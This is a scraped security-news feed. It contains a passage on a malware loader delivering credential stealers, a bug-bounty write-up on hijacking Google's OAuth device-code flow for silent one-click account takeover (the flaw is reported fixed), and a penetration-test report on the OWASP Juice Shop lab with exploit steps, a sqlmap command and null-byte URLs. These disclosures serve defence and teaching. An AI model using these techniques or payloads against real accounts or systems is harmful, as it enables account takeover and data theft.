<p class="wp-block-paragraph">The final malware payload is delivered using <a href="https://www.csoonline.com/article/4125567/this-stealthy-windows-rat-holds-live-conversations-with-its-operators.html?utm=hybrid_search#:~:text=This%20PowerShell%20loader%20decodes%20and%20executes%20shellcode%20generated%20using%20Donut%2C%20an%20open-source%20framework%20commonly%20used%20to%20convert.%20NET%20assemblies%20into%20position-independent%20shellcode.">Donut</a> shellcode, allowing execution without writing the payload to disk.</p>



<p class="wp-block-paragraph">Protection requires targeted mitigations and routine security hygiene</p>



<p class="wp-block-paragraph">Fortinet’s findings confirm the attackers’ endgame to be stealing credentials and maintaining long-term access. The malware families observed, including Agent Tesla, Remcos, XWorm, and Best Private LOGGER, are all focused on credential theft, surveillance, or remote access.</p>



<p class="wp-block-paragraph">Barney said organizations should resist focusing exclusively on the loader’s technical sophistication and instead strengthen the systems attackers eventually want to compromise.</p>



<p class="wp-block-paragraph">In his opinion, identity and access controls are what it comes down to, as signature-based detection often fails against the loader sophistication of this grade. “Limiting what any given set of credentials can reach, enforcing least privilege, requiring re-authentication for sensitive systems, and monitoring for anomalous session behavior will not stop every phishing email from landing, but they significantly constrain what an attacker can accomplish after one succeeds,” he explained.</p>



<p class="wp-block-paragraph">Soroko, on the other hand, recommends focusing controls on the technical indicators. He urged organizations to restrict Windows Script Host, Autolt, and LauJIT wherever they are not operationally required, monitor for behaviors such as process injection, remote memory allocation, and shellcode execution, and use Fortinet’s published indicators for threat hunting.</p>



<p class="wp-block-paragraph">The indicators of compromise (IOCs) Fortinet shared include the command-and-control (C2) addresses, file hashes, and filenames.</p>



<p class="wp-block-paragraph">Soroko warned against relying solely on hashes or C2 infrastructure because the loader has changed over time. “The stronger approach is to detect the stable behavior across versions, then test controls against the complete chain,” he said.</p>
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<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[VAPT Report Example]]></title>
<description><![CDATA[This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.Setup OWASP Juice Shop Locally Using DockerInstall DockerRun:docker pull bkimmini...]]></description>
<link>https://tsecurity.de/de/3675301/hacking/vapt-report-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675301/hacking/vapt-report-example/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.</p><h3>Setup OWASP Juice Shop Locally Using Docker</h3><h3>Install Docker</h3><p>Run:</p><pre>docker pull bkimminich/juice-shop<br>docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><p>Browse to:<br> <a href="http://localhost:3000/">http://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*mwz1GNdYbcw3HOLUQX1vGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*089pKG_zM-T4UOMGPzYjRw.png"></figure><h3>1. Privilege Escalation via User Registration API</h3><h3>Summary (with CWE)</h3><p>The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.</p><h3>CWE ID</h3><ul><li>CWE-269 — Improper Privilege Management</li><li>CWE-285 — Improper Authorization</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><h3>Metrics:</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: High</li></ul><p><strong>CVSS Base Score:</strong> 9.8 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.</p><p>This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.</p><h3>Steps to Reproduce</h3><ol><li>Send a POST request to: http://localhost:3000/api/Users</li><li>Edit request body and add role parameter: { "role": "admin" }</li><li>Submit the request using Burp Suite.</li><li>The server responds with a successful user creation message.</li><li>Log in using the created credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWUogo4-1Uor4o5aDkSyQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tam4-35GCakrERj7NHew5g.png"></figure><h3>Suggested Remediation</h3><ul><li>Enforce server-side role control</li><li>Default role assignment</li><li>Allow admin role assignment only through authenticated admin workflows</li><li>Validate permissions on every sensitive endpoint</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP Top 10 — Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269: Improper Privilege Management</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>2. OAuth Account Takeover</h3><h3>Summary (with CWE)</h3><p>OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.</p><p>This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.</p><h3>CWE ID</h3><ul><li>CWE-522 — Insufficiently Protected Credentials</li><li>CWE-287 — Improper Authentication</li><li>CWE-284 — Improper Access Control</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.</p><p>The OAuth workflow internally calls:</p><ul><li>userService.save() (user creation)</li><li>userService.login() (standard login)</li></ul><p>Both functions set the user password using the following logic:</p><pre>password = btoa(n.email.split("").reverse().join(""))</pre><h3>Password Generation Logic</h3><ul><li>The email address is reversed.</li><li>The reversed string is Base64-encoded.</li><li>The result is used as the account password.</li></ul><h3>Steps to Reproduce:</h3><h4>Identify OAuth Password Logic</h4><ul><li>Open main.js</li><li>Search for oauthLogin</li><li>Locate: password: btoa(n.email.split("").reverse().join(""))</li></ul><h4>Derive Victim Password</h4><p>Email: bjoern@gmail.com<br> Reversed: moc.liamg@nreojb<br> Base64 encoded password:</p><pre>bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vCdCuyVKLSiLH_hhpgCIGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICsFhQCtxrXuosRiVJRgOQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Never generate passwords client-side</li><li>Separate OAuth and password authentication</li><li>Use strong, random credentials</li><li>Do not expose authentication logic</li><li>Perform security design reviews</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/">OWASP Top 10 — Broken Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/522.html">CWE-522 — Insufficiently Protected Credentials</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8252">OAuth 2.0 Security Best Practices (RFC 8252)</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>3. SQL Injection in Product Search Endpoint</h3><h3>Summary (with CWE)</h3><p>An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.</p><p>This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.</p><h3>CWE ID</h3><p>CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</p><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>The /rest/products/search API endpoint accepts user input via the <strong>q</strong> parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.</p><p>An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as <strong>sqlmap</strong> can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.</p><p>This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.</p><h3>Exploit Using sqlmap</h3><pre>sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE0CHEd8TUToNy1MGhy4qg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9UhO9JS5Hl3YCBxryIDuA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6jvJUSScWD63XiOpBgzuQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTjbupN8n126CTwsYotbYQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFsmogCi-BSuofuUDJ45vg.png"></figure><p>Got User credentials :)</p><h3>Suggested Remediation</h3><ul><li>Sanitize and validate all user-supplied inputs</li><li>Implement parameterized queries</li><li>Deploy a Web Application Firewall (WAF)</li><li>Enable logging &amp; monitoring</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89 — SQL Injection</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Documentation</a></li><li>CVSS v3.1 Specification: <a href="https://www.first.org/cvss/v3.1/">https://www.first.org/cvss/v3.1/</a></li></ol><h3>4. Arbitrary File Download via Poison Null Byte Injection</h3><h3>Summary (with CWE)</h3><p>The application is vulnerable to <strong>Poison Null Byte Injection</strong>, allowing an attacker to bypass file extension validation and download <strong>sensitive backup files</strong> stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.</p><h3>CWE ID</h3><ul><li>CWE-158 — Improper Neutralization of Null Byte</li><li>CWE-22 — Improper Limitation of Pathname to Restricted Directory</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</p><p><strong>CVSS Base Score:</strong> 7.5 (High)</p><h3>Description</h3><p>OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a <strong>Poison Null Byte (%00) injection</strong> combined with <strong>double URL encoding</strong>.</p><p>The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.</p><p>This results in <strong>unauthorized access to sensitive backup files</strong>, potentially exposing configuration details, credentials, or business data.</p><h3>Steps to Reproduce:</h3><h4><strong>Access a Developer’s Forgotten Backup File:</strong></h4><ol><li>Navigate to the FTP directory: <a href="http://localhost:3000/ftp">http://localhost:3000/ftp</a></li><li>Attempt direct access (fails due to extension restriction): <a href="http://localhost:3000/ftp/package.json.bak">http://localhost:3000/ftp/package.json.bak</a></li><li>Try Poison Null Byte injection (fails initially): <a href="http://localhost:3000/ftp/package.json.bak%00.md">http://localhost:3000/ftp/package.json.bak%00.md</a></li><li>URL-encode the % character as well: <a href="http://localhost:3000/ftp/package.json.bak%2500.md">http://localhost:3000/ftp/package.json.bak%2500.md</a></li></ol><p>The server successfully returns the <strong>restricted backup file</strong>, completing the exploit.</p><h4><strong>Access a Salesman’s Forgotten Backup File</strong>:</h4><ol><li>Use the same Poison Null Byte technique: <a href="http://localhost:3000/ftp/coupons_2013.md.bak%2500.md">http://localhost:3000/ftp/coupons_2013.md.bak%2500.md</a></li><li>The backup file downloads successfully, revealing sensitive business data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtP_eSL1Sza2N8_1_1Yag.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxtA320Y7ic8X98oKXa02A.png"></figure><p>Backup file downloads successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwQ-UUtHidNkJxdbtjDSgw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-mITIIF8p-SjS0LxXk8ViQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Reject null bytes explicitly</li><li>Decode input before validation</li><li>Use allow-listed file access</li><li>Disable public access to backups</li><li>Use secure file APIs</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Foundation — OWASP Juice Shop</a></li><li><a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158: Improper Neutralization of Null Byte</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide — File Handling Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger — File Path Traversal &amp; Null Byte Attacks</a></li></ol><h3>Thanks For Reading :)</h3><p><strong>Happy Hacking ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f8440a9735c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vapt-report-example-f8440a9735c1">VAPT Report Example</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Senior executives are killing your shadow AI strategy]]></title>
